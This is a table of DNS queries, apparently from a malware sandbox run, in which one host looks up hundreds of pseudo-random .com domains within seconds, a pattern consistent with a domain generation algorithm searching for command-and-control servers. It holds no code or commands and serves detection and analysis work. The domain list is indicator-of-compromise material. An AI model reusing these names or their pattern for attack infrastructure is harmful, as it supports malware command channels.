Nov 11, 2024 18:50:46.616669893 CET	192.168.2.6	1.1.1.1	0xc8fa	Standard query (0)	pufymiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.617037058 CET	192.168.2.6	1.1.1.1	0xfe07	Standard query (0)	lyxylyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.617790937 CET	192.168.2.6	1.1.1.1	0x39ba	Standard query (0)	vofymif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.618241072 CET	192.168.2.6	1.1.1.1	0x5de9	Standard query (0)	vowydet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.618936062 CET	192.168.2.6	1.1.1.1	0x693c	Standard query (0)	qeqysap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.619049072 CET	192.168.2.6	1.1.1.1	0x3b1a	Standard query (0)	gacyzuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.619122982 CET	192.168.2.6	1.1.1.1	0xc504	Standard query (0)	qexyluq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:46.619259119 CET	192.168.2.6	1.1.1.1	0x80e9	Standard query (0)	lygymod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.400434017 CET	192.168.2.6	1.1.1.1	0xd880	Standard query (0)	vocykec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.400835991 CET	192.168.2.6	1.1.1.1	0xd411	Standard query (0)	ganyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.403865099 CET	192.168.2.6	1.1.1.1	0x3268	Standard query (0)	puvylep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.413199902 CET	192.168.2.6	1.1.1.1	0xbd	Standard query (0)	puryxuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.416704893 CET	192.168.2.6	1.1.1.1	0xf3fd	Standard query (0)	gacyqoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.434925079 CET	192.168.2.6	1.1.1.1	0xbca3	Standard query (0)	gahynuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.435077906 CET	192.168.2.6	1.1.1.1	0x61fa	Standard query (0)	vonyzut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.435734034 CET	192.168.2.6	1.1.1.1	0xdabd	Standard query (0)	qegyfeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.437319040 CET	192.168.2.6	1.1.1.1	0x7305	Standard query (0)	pupydev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.437546968 CET	192.168.2.6	1.1.1.1	0xb707	Standard query (0)	qekyqoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.443262100 CET	192.168.2.6	1.1.1.1	0x63e7	Standard query (0)	puzyjov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.449141979 CET	192.168.2.6	1.1.1.1	0xe7b9	Standard query (0)	lykymij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.451913118 CET	192.168.2.6	1.1.1.1	0x7365	Standard query (0)	pumytyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.456053019 CET	192.168.2.6	1.1.1.1	0x90b3	Standard query (0)	gadydow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.456732988 CET	192.168.2.6	1.1.1.1	0x8d49	Standard query (0)	vofydak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.458127975 CET	192.168.2.6	1.1.1.1	0xa862	Standard query (0)	vowypim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.458564997 CET	192.168.2.6	1.1.1.1	0xcc35	Standard query (0)	puzymup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.460107088 CET	192.168.2.6	1.1.1.1	0xde1b	Standard query (0)	qeqylyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.460827112 CET	192.168.2.6	1.1.1.1	0xfb7c	Standard query (0)	gaqypuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.469893932 CET	192.168.2.6	1.1.1.1	0xee5d	Standard query (0)	gatycis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.470716000 CET	192.168.2.6	1.1.1.1	0x158f	Standard query (0)	gaqyzyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.471797943 CET	192.168.2.6	1.1.1.1	0x8acf	Standard query (0)	vowyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.471995115 CET	192.168.2.6	1.1.1.1	0xb2e5	Standard query (0)	qekyhug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.472156048 CET	192.168.2.6	1.1.1.1	0x50e6	Standard query (0)	volyjif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.472409964 CET	192.168.2.6	1.1.1.1	0xe31e	Standard query (0)	vonyryk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.476733923 CET	192.168.2.6	1.1.1.1	0x7b7e	Standard query (0)	qedyvap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477016926 CET	192.168.2.6	1.1.1.1	0x45aa	Standard query (0)	lysyvax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477226019 CET	192.168.2.6	1.1.1.1	0xe1db	Standard query (0)	qegynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477245092 CET	192.168.2.6	1.1.1.1	0x39aa	Standard query (0)	pupycop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477442980 CET	192.168.2.6	1.1.1.1	0xf184	Standard query (0)	qetyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477581978 CET	192.168.2.6	1.1.1.1	0xc0a1	Standard query (0)	qexykav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477641106 CET	192.168.2.6	1.1.1.1	0xf84a	Standard query (0)	lymytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477782965 CET	192.168.2.6	1.1.1.1	0xcec7	Standard query (0)	lyxyjod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.477953911 CET	192.168.2.6	1.1.1.1	0xd8e3	Standard query (0)	lygynyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.478113890 CET	192.168.2.6	1.1.1.1	0x72e7	Standard query (0)	pufydaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.478399992 CET	192.168.2.6	1.1.1.1	0xd28e	Standard query (0)	lygyfej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.495336056 CET	192.168.2.6	1.1.1.1	0x1a8c	Standard query (0)	lyxymix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.495898962 CET	192.168.2.6	1.1.1.1	0xb637	Standard query (0)	vocyqot.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.496181965 CET	192.168.2.6	1.1.1.1	0xe7ef	Standard query (0)	gahyfyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.496411085 CET	192.168.2.6	1.1.1.1	0xddbd	Standard query (0)	vojygym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.496603966 CET	192.168.2.6	1.1.1.1	0xcec1	Standard query (0)	lyvywar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.496630907 CET	192.168.2.6	1.1.1.1	0xe53d	Standard query (0)	pujygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.496788979 CET	192.168.2.6	1.1.1.1	0xb691	Standard query (0)	gacykas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.496970892 CET	192.168.2.6	1.1.1.1	0x203b	Standard query (0)	purypig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.497080088 CET	192.168.2.6	1.1.1.1	0xcb36	Standard query (0)	galyhib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.497157097 CET	192.168.2.6	1.1.1.1	0x20c5	Standard query (0)	qeqytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.497245073 CET	192.168.2.6	1.1.1.1	0xa25b	Standard query (0)	lykygun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.497384071 CET	192.168.2.6	1.1.1.1	0x73f0	Standard query (0)	vopycoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.497607946 CET	192.168.2.6	1.1.1.1	0x9193	Standard query (0)	puvywal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.497771025 CET	192.168.2.6	1.1.1.1	0x9956	Standard query (0)	lyryxud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.497936964 CET	192.168.2.6	1.1.1.1	0xc0b	Standard query (0)	qexyqip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.498084068 CET	192.168.2.6	1.1.1.1	0xc616	Standard query (0)	lyvylyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.498217106 CET	192.168.2.6	1.1.1.1	0xa60c	Standard query (0)	pufybyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.501128912 CET	192.168.2.6	1.1.1.1	0xfc0a	Standard query (0)	qetysog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.501174927 CET	192.168.2.6	1.1.1.1	0x2f15	Standard query (0)	vojymuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.501405954 CET	192.168.2.6	1.1.1.1	0x2bef	Standard query (0)	qebyrel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.501431942 CET	192.168.2.6	1.1.1.1	0x246d	Standard query (0)	vofybet.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.501810074 CET	192.168.2.6	1.1.1.1	0xeb67	Standard query (0)	gadyvez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.502006054 CET	192.168.2.6	1.1.1.1	0x3ca2	Standard query (0)	gatydab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.502130985 CET	192.168.2.6	1.1.1.1	0x226b	Standard query (0)	lyryson.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.509587049 CET	192.168.2.6	1.1.1.1	0x7eb2	Standard query (0)	pujymiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.510622025 CET	192.168.2.6	1.1.1.1	0x2f47	Standard query (0)	ganyrew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.510687113 CET	192.168.2.6	1.1.1.1	0x9415	Standard query (0)	qebylyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.518148899 CET	192.168.2.6	1.1.1.1	0x3bba	Standard query (0)	vopydaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.833403111 CET	192.168.2.6	1.1.1.1	0x96b3	Standard query (0)	lymylen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.834949017 CET	192.168.2.6	1.1.1.1	0x4bc3	Standard query (0)	volymuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.837419033 CET	192.168.2.6	1.1.1.1	0x7df1	Standard query (0)	qedysol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.838953972 CET	192.168.2.6	1.1.1.1	0x415c	Standard query (0)	pumyleg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.839664936 CET	192.168.2.6	1.1.1.1	0x85a	Standard query (0)	galynus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.841047049 CET	192.168.2.6	1.1.1.1	0xe2ee	Standard query (0)	lysysir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.841763020 CET	192.168.2.6	1.1.1.1	0x8ff8	Standard query (0)	vonykam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.858962059 CET	192.168.2.6	1.1.1.1	0x9cdb	Standard query (0)	pupypil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.859544992 CET	192.168.2.6	1.1.1.1	0xf32	Standard query (0)	ganykah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.860491037 CET	192.168.2.6	1.1.1.1	0xc5c1	Standard query (0)	qekynyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.862391949 CET	192.168.2.6	1.1.1.1	0xb641	Standard query (0)	vojybef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.865293026 CET	192.168.2.6	1.1.1.1	0xd4db	Standard query (0)	qegyvag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.865422964 CET	192.168.2.6	1.1.1.1	0x927	Standard query (0)	pufycog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.868166924 CET	192.168.2.6	1.1.1.1	0xa1e	Standard query (0)	lygyvon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.871754885 CET	192.168.2.6	1.1.1.1	0xb8ca	Standard query (0)	puvyjiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.871882915 CET	192.168.2.6	1.1.1.1	0x3288	Standard query (0)	vowyrec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.872580051 CET	192.168.2.6	1.1.1.1	0x9123	Standard query (0)	gacyhuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.882071972 CET	192.168.2.6	1.1.1.1	0x15db	Standard query (0)	qebykoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.882488012 CET	192.168.2.6	1.1.1.1	0xc3ee	Standard query (0)	vopyput.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.882709026 CET	192.168.2.6	1.1.1.1	0x2eb7	Standard query (0)	vocyjik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.883059025 CET	192.168.2.6	1.1.1.1	0x7720	Standard query (0)	lyrytyx.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.886920929 CET	192.168.2.6	1.1.1.1	0x5d62	Standard query (0)	qetytup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.890497923 CET	192.168.2.6	1.1.1.1	0xc535	Standard query (0)	gatypuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.890862942 CET	192.168.2.6	1.1.1.1	0x629c	Standard query (0)	gahyvab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.891947031 CET	192.168.2.6	1.1.1.1	0x2a5b	Standard query (0)	pujybev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.896771908 CET	192.168.2.6	1.1.1.1	0xc220	Standard query (0)	lyvyjoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.897557974 CET	192.168.2.6	1.1.1.1	0x6242	Standard query (0)	lykynyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.897732973 CET	192.168.2.6	1.1.1.1	0xa8bb	Standard query (0)	purytyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.897948027 CET	192.168.2.6	1.1.1.1	0x4e64	Standard query (0)	pufypuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.912098885 CET	192.168.2.6	1.1.1.1	0x51ca	Standard query (0)	qexyhul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.914238930 CET	192.168.2.6	1.1.1.1	0xf68	Standard query (0)	qedyxuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.931298018 CET	192.168.2.6	1.1.1.1	0x56ed	Standard query (0)	gaqyres.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.931823015 CET	192.168.2.6	1.1.1.1	0xd990	Standard query (0)	qexynyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.932066917 CET	192.168.2.6	1.1.1.1	0xabe8	Standard query (0)	lyxygur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.932265997 CET	192.168.2.6	1.1.1.1	0x73b1	Standard query (0)	qeqyrav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.932421923 CET	192.168.2.6	1.1.1.1	0xd4d4	Standard query (0)	puzygyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.933201075 CET	192.168.2.6	1.1.1.1	0x94c0	Standard query (0)	vofycim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.933363914 CET	192.168.2.6	1.1.1.1	0xe961	Standard query (0)	qebyqig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.943129063 CET	192.168.2.6	1.1.1.1	0x2f9c	Standard query (0)	gadycih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.946074009 CET	192.168.2.6	1.1.1.1	0xcd63	Standard query (0)	volygyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.974224091 CET	192.168.2.6	1.1.1.1	0x76fc	Standard query (0)	lymywad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.974505901 CET	192.168.2.6	1.1.1.1	0x4acb	Standard query (0)	vojydoc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.975039959 CET	192.168.2.6	1.1.1.1	0x1974	Standard query (0)	pumywov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.975203991 CET	192.168.2.6	1.1.1.1	0x1e49	Standard query (0)	vonyqof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.975358963 CET	192.168.2.6	1.1.1.1	0xb381	Standard query (0)	lysyxuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.975522041 CET	192.168.2.6	1.1.1.1	0xab56	Standard query (0)	pujydap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.975680113 CET	192.168.2.6	1.1.1.1	0xdc9d	Standard query (0)	gacynyh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.975825071 CET	192.168.2.6	1.1.1.1	0xb2d8	Standard query (0)	lygysid.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:47.975960970 CET	192.168.2.6	1.1.1.1	0xb99e	Standard query (0)	vocymum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.010023117 CET	192.168.2.6	1.1.1.1	0x34a	Standard query (0)	lyvymun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.010121107 CET	192.168.2.6	1.1.1.1	0x2fc0	Standard query (0)	lyryler.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.010462046 CET	192.168.2.6	1.1.1.1	0xfb4e	Standard query (0)	puvymug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.011061907 CET	192.168.2.6	1.1.1.1	0x4f99	Standard query (0)	gatyzyw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.019773006 CET	192.168.2.6	1.1.1.1	0x4c2a	Standard query (0)	qekyfep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.020262957 CET	192.168.2.6	1.1.1.1	0xad74	Standard query (0)	galyfez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.020435095 CET	192.168.2.6	1.1.1.1	0x7362	Standard query (0)	pupyxuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.020596981 CET	192.168.2.6	1.1.1.1	0xed72	Standard query (0)	ganyqib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.020755053 CET	192.168.2.6	1.1.1.1	0x390c	Standard query (0)	vopyzyk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.021213055 CET	192.168.2.6	1.1.1.1	0x520f	Standard query (0)	lykyfax.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.022002935 CET	192.168.2.6	1.1.1.1	0x396f	Standard query (0)	purylal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.022170067 CET	192.168.2.6	1.1.1.1	0xb872	Standard query (0)	vowykat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.023617029 CET	192.168.2.6	1.1.1.1	0xe1e8	Standard query (0)	qegysiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.023899078 CET	192.168.2.6	1.1.1.1	0xe500	Standard query (0)	gahydos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.024137020 CET	192.168.2.6	1.1.1.1	0x3852	Standard query (0)	qetylel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.146271944 CET	192.168.2.6	1.1.1.1	0x3b24	Standard query (0)	gaqyqiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.160948038 CET	192.168.2.6	1.1.1.1	0xbc64	Standard query (0)	lyxyfan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.161462069 CET	192.168.2.6	1.1.1.1	0x978c	Standard query (0)	gatyrah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.173532963 CET	192.168.2.6	1.1.1.1	0x6dde	Standard query (0)	puzydog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.174246073 CET	192.168.2.6	1.1.1.1	0x5798	Standard query (0)	lyvygyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.180671930 CET	192.168.2.6	1.1.1.1	0x6919	Standard query (0)	vojycit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.182830095 CET	192.168.2.6	1.1.1.1	0x3c2d	Standard query (0)	puvygyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.183408976 CET	192.168.2.6	1.1.1.1	0x32fe	Standard query (0)	lyrywoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.185587883 CET	192.168.2.6	1.1.1.1	0xd421	Standard query (0)	gahycuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.186707973 CET	192.168.2.6	1.1.1.1	0xd62e	Standard query (0)	qegyxup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.188913107 CET	192.168.2.6	1.1.1.1	0x15ef	Standard query (0)	qetyraq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.189598083 CET	192.168.2.6	1.1.1.1	0xddb3	Standard query (0)	pufyxyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.192459106 CET	192.168.2.6	1.1.1.1	0x4a14	Standard query (0)	vocygef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.192946911 CET	192.168.2.6	1.1.1.1	0xb2fa	Standard query (0)	purywoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.195041895 CET	192.168.2.6	1.1.1.1	0x9b91	Standard query (0)	lymyjix.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.203964949 CET	192.168.2.6	1.1.1.1	0x3ac6	Standard query (0)	lygyxux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.204746962 CET	192.168.2.6	1.1.1.1	0x669	Standard query (0)	qeqyqul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.207344055 CET	192.168.2.6	1.1.1.1	0xf61d	Standard query (0)	vowyqik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.232023001 CET	192.168.2.6	1.1.1.1	0x9d65	Standard query (0)	gaqyqiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.232357979 CET	192.168.2.6	1.1.1.1	0x89e0	Standard query (0)	lyvygyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.232690096 CET	192.168.2.6	1.1.1.1	0xbd63	Standard query (0)	lyxyfan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.236362934 CET	192.168.2.6	1.1.1.1	0x33b7	Standard query (0)	qegyxup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.237519026 CET	192.168.2.6	1.1.1.1	0xb30e	Standard query (0)	purywoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.241262913 CET	192.168.2.6	1.1.1.1	0x5830	Standard query (0)	vofyzyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.241573095 CET	192.168.2.6	1.1.1.1	0x564c	Standard query (0)	volybak.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.242046118 CET	192.168.2.6	1.1.1.1	0x9341	Standard query (0)	vofypuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.242275000 CET	192.168.2.6	1.1.1.1	0x3f75	Standard query (0)	gadypub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.244188070 CET	192.168.2.6	1.1.1.1	0xc338	Standard query (0)	qeqykop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.245587111 CET	192.168.2.6	1.1.1.1	0x652d	Standard query (0)	pumyjip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.271682978 CET	192.168.2.6	1.1.1.1	0xba7a	Standard query (0)	gaqykoz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.272352934 CET	192.168.2.6	1.1.1.1	0x114d	Standard query (0)	gacyfeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.272538900 CET	192.168.2.6	1.1.1.1	0xb14f	Standard query (0)	pujycil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.272835016 CET	192.168.2.6	1.1.1.1	0x37b5	Standard query (0)	puvyxil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.275162935 CET	192.168.2.6	1.1.1.1	0xfbe0	Standard query (0)	gaqydeb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.275434017 CET	192.168.2.6	1.1.1.1	0xd312	Standard query (0)	pupyteg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.275670052 CET	192.168.2.6	1.1.1.1	0xac26	Standard query (0)	qekyvol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.275834084 CET	192.168.2.6	1.1.1.1	0x667d	Standard query (0)	vonyjuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.276570082 CET	192.168.2.6	1.1.1.1	0x2ff4	Standard query (0)	ganyhus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.284689903 CET	192.168.2.6	1.1.1.1	0x62b9	Standard query (0)	puzybeq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.287699938 CET	192.168.2.6	1.1.1.1	0xf0d0	Standard query (0)	pufymoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.288305044 CET	192.168.2.6	1.1.1.1	0xa8f2	Standard query (0)	lyxylux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.288466930 CET	192.168.2.6	1.1.1.1	0x353a	Standard query (0)	qexylup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.289159060 CET	192.168.2.6	1.1.1.1	0xa3c8	Standard query (0)	qekykev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.289463997 CET	192.168.2.6	1.1.1.1	0x39b1	Standard query (0)	vofymik.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.289963007 CET	192.168.2.6	1.1.1.1	0xf0bd	Standard query (0)	qedynul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.290174007 CET	192.168.2.6	1.1.1.1	0xfdee	Standard query (0)	vofygum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.290402889 CET	192.168.2.6	1.1.1.1	0x656b	Standard query (0)	lyxywer.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.290796041 CET	192.168.2.6	1.1.1.1	0x1768	Standard query (0)	gaqycos.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.290833950 CET	192.168.2.6	1.1.1.1	0x7336	Standard query (0)	pufygug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.291461945 CET	192.168.2.6	1.1.1.1	0x2ed1	Standard query (0)	qexyryl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.291909933 CET	192.168.2.6	1.1.1.1	0x7d09	Standard query (0)	lygygin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.291954994 CET	192.168.2.6	1.1.1.1	0x1c8c	Standard query (0)	gacyryw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.292448044 CET	192.168.2.6	1.1.1.1	0xbac1	Standard query (0)	purycap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.304610014 CET	192.168.2.6	1.1.1.1	0x9ab4	Standard query (0)	qedytyg.com	A (IP address)	IN (0x0001)	false
